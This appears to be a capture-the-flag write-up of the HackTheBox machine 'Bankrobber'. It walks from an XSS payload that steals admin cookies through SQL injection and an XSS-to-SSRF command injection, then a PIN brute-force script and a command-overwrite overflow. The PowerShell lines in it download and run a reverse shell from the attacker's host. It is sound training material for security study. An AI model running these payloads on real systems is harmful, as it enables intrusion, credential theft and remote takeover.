Posts HTB - Bankrobber
Post
Cancel

HTB - Bankrobber

Bankrobber is a vulnerable virtual machine created by Gioo and Cneeliz on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.

Enumeration

Nmap

Starting off with the nmap scan, we see that this is a Windows machine running HTTP, SMB and MariaDB services. Note that on both 80/http and 443/https it is Apache instead of IIS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ nmap-default 10.10.10.154

Nmap scan report for 10.10.10.154
Host is up (0.093s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-title: E-coin
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: Bad request!
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1m34s, deviation: 0s, median: -1m35s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-03-11T06:11:47
|_  start_date: 2021-03-11T06:06:21

For the details of the custom nmap commands, check here.

HTTP

Directing our browser to the address, we see a page like this.

On 443/https we can see the same page, and the ssl certificate does not leak any subdomain information to us. After registering a user and logging in, we get the following page. We input some random values and click the button to see what it does.

The following message is displayed. Based on the message, we can assume that there is some kind of user simulation going on.

We use the following payload to see if there is an XSS vulnerability.

A few minutes later, we get a hit on our http server. It does appear vulnerable to XSS.

1
2
3
4
$ python -m http.server    
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.154 - - [11/Mar/2021 02:15:41] code 404, message File not found
10.10.10.154 - - [11/Mar/2021 02:15:41] "GET /lol.jpg HTTP/1.1" 404 -

Exploitation

XSS

Methodologies of exploiting XSS can be found here. We will try to retrieve the admin cookies with the following payload.

1
<img src=x onerror=this.src="http://10.10.14.7:8000/?c="+document.cookie>

Shortly after sending the payload, we get a hit on our http server.

1
10.10.10.154 - - [11/Mar/2021 02:19:42] "GET /?c=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 200 -

By decoding the values, we get the creadentials admin:Hopelessromantic.

Enumeration

Admin Panel

After logging in with the credentials, we see an admin page. At the bottom of the page, there is a block that seems to execute commands. We try to execute dir as specified, but get the following error message. It seems that this function can only be used locally.

Another interesting feature on this page is searching users. It seems retrieving data from the database service.

We use a quote to see if it handles bad characters properly, and get an error as the following.

We then add -- - to comment out anything afterwards, and it works. There seems to be an SQLi vulnerability.

Exploitation

SQL Injection

After playing with the SQLi, we find that it is union injectable, and there are 3 columns returned.

We can control the first two columns and see the values returned.

By using the following payload, we can read the source code of backdoorchecker.php.

1
term=1' union select 1,load_file('c:\\xampp\\htdocs\\admin\\backdoorchecker.php'),3-- -

The source code is shown below. Reading through it, we can see that the prohibited bad characters only include $( and &, which makes it possible to inject command via |.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include('../link.php');
include('auth.php');

$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad 	  = array('$(','&');
$good 	  = "ls";

if(strtolower(substr(PHP_OS,0,3)) == "win"){
	$good = "dir";
}

if($username == "admin" && $password == "Hopelessromantic"){
	if(isset($_POST['cmd'])){
			// FILTER ESCAPE CHARS
			foreach($bad as $char){
				if(strpos($_POST['cmd'],$char) !== false){
					die("You're not allowed to do that.");
				}
			}
			// CHECK IF THE FIRST 2 CHARS ARE LS
			if(substr($_POST['cmd'], 0,strlen($good)) != $good){
				die("It's only allowed to use the $good command");
			}

			if($_SERVER['REMOTE_ADDR'] == "::1"){
				system($_POST['cmd']);
			} else{
				echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
			}
	}
} else{
	echo "You are not allowed to use this function!";
}
?>

But before doing that, we have to find a way to achieve SSRF, since this function is only allowed locally.

XSS to SSRF

We can trick the server to send a request to itself to execute commands via the command injection we have identified previously in the source code. To achieve this, we first create a javascript file named rev.js in our http server directory.

1
2
3
4
5
6
var request = new XMLHttpRequest();
var url = "http://localhost/admin/backdoorchecker.php";
var params = "cmd=dir | powershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')";
request.open("POST", url);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(params);

We also put our reverse shell script rev.ps1 from nishang to the same directory. Next, we use the following XSS payload to make the server execute our rev.js.

1
<script src="http://10.10.14.7:8000/rev.js"></script>

Shortly, we get a reverse shell.

1
2
3
4
5
6
$ rlwrap ncat -nlvp 4444

...

PS C:\xampp\htdocs\admin> whoami
bankrobber\cortin

Privilege Escalation

Checking listening ports with netstat, we find a new port 910 which is not shown in our nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS C:\xampp\htdocs\admin> netstat -ano | findstr LISTEN
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       2512
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       756
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       2512
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:910            0.0.0.0:0              LISTENING       1592
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       2868
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       468
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       904
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       884
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1456
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       596
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       604
  TCP    10.10.10.154:139       0.0.0.0:0              LISTENING       4
  TCP    [::]:80                [::]:0                 LISTENING       2512
  TCP    [::]:135               [::]:0                 LISTENING       756
  TCP    [::]:443               [::]:0                 LISTENING       2512
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:3306              [::]:0                 LISTENING       2868
  TCP    [::]:49664             [::]:0                 LISTENING       468
  TCP    [::]:49665             [::]:0                 LISTENING       904
  TCP    [::]:49666             [::]:0                 LISTENING       884
  TCP    [::]:49667             [::]:0                 LISTENING       1456
  TCP    [::]:49668             [::]:0                 LISTENING       596
  TCP    [::]:49669             [::]:0                 LISTENING       604

To play with the service, we will forward the port to us with chisel. First, we set up chisel server on our kali box.

1
$ ./chisel server -p 8888 --reverse

Next, we send the Windows version of chisel to the target and forward the port to 9100 on our kali box.

1
2
3
PS C:\xampp\htdocs\admin> iwr http://10.10.14.7:8000/chisel.exe -outfile \windows\temp\chisel.exe

PS C:\xampp\htdocs\admin> \windows\temp\chisel.exe client 10.10.14.7:8888 R:9100:127.0.0.1:910

Now that the port is forwarded, we can connect to it with ncat to see what it does. The program asks for a PIN code. Trying a random number, we get no luck.

1
2
3
4
5
6
7
8
9
10
11
$ ncat -nv 127.0.0.1 9100                             
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:9100.
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 1337
 [!] Access denied, disconnecting client....

Since the PIN code is a 4-digit number, we can easily brute force it. To do this, we write a python script that supports multi-threading and uses pwntools to handle data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from concurrent.futures import ThreadPoolExecutor

finished = False

def try_pin(pin):
    global finished
    if not finished:
        r = remote("127.0.0.1", 9100, level="error")
        r.recvuntil("[$] ")
        r.sendline(pin)
        response = r.recvline()
        r.close()
        if b"denied" not in response:
            log.success(f"Success: {pin}")
            finished = True

with ThreadPoolExecutor(max_workers=30) as executor:
    for i in range(9999):
        pin = str(i).zfill(4)
        executor.submit(try_pin, pin)

After running the script, we get a valid PIN code.

1
2
$ python3 brute.py
[+] Success: 0021

With the PIN code, we can let the program continue. It then asks for another input and execute some command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ncat -nv 127.0.0.1 9100
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:9100.
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] 1
 [$] Transfering $1 using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe

 [$] Transaction in progress, you can safely disconnect...

We try to fuzz it with a bunch of As, and we find that we have successfully overwritten the command executed.

1
[$] Executing e-coin transfer tool: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

To find out the position of the command in our payload, we generate a pattern string with msf-pattern_create.

1
2
$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Using the pattern string instead of As, we get the following results.

1
[$] Executing e-coin transfer tool: 0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Searching the above part in our pattern string, we find that it begins at the 32nd character.

1
2
$ msf-pattern_offset -l 100 -q 0Ab1
[*] Exact match at offset 32

Knowing the offset, we are now able to craft a payload to precisely overwrite the command.

1
2
$ python3 -c "print('A'*32 + 'powershell iex(new-object net.webclient).downloadstring(\'http://10.10.14.7:8000/rev.ps1\')')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApowershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')

We connect to the program again and paste our payload when asked for the input. It seems that the program is executing our command.

1
[$] Executing e-coin transfer tool: powershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')

Checking our ncat listener, we get a reverse shell with system privileges.

1
2
3
4
5
6
$ rlwrap ncat -nlvp 4444

...

PS C:\Windows\system32> whoami
nt authority\system
This post is licensed under CC BY 4.0 by the author.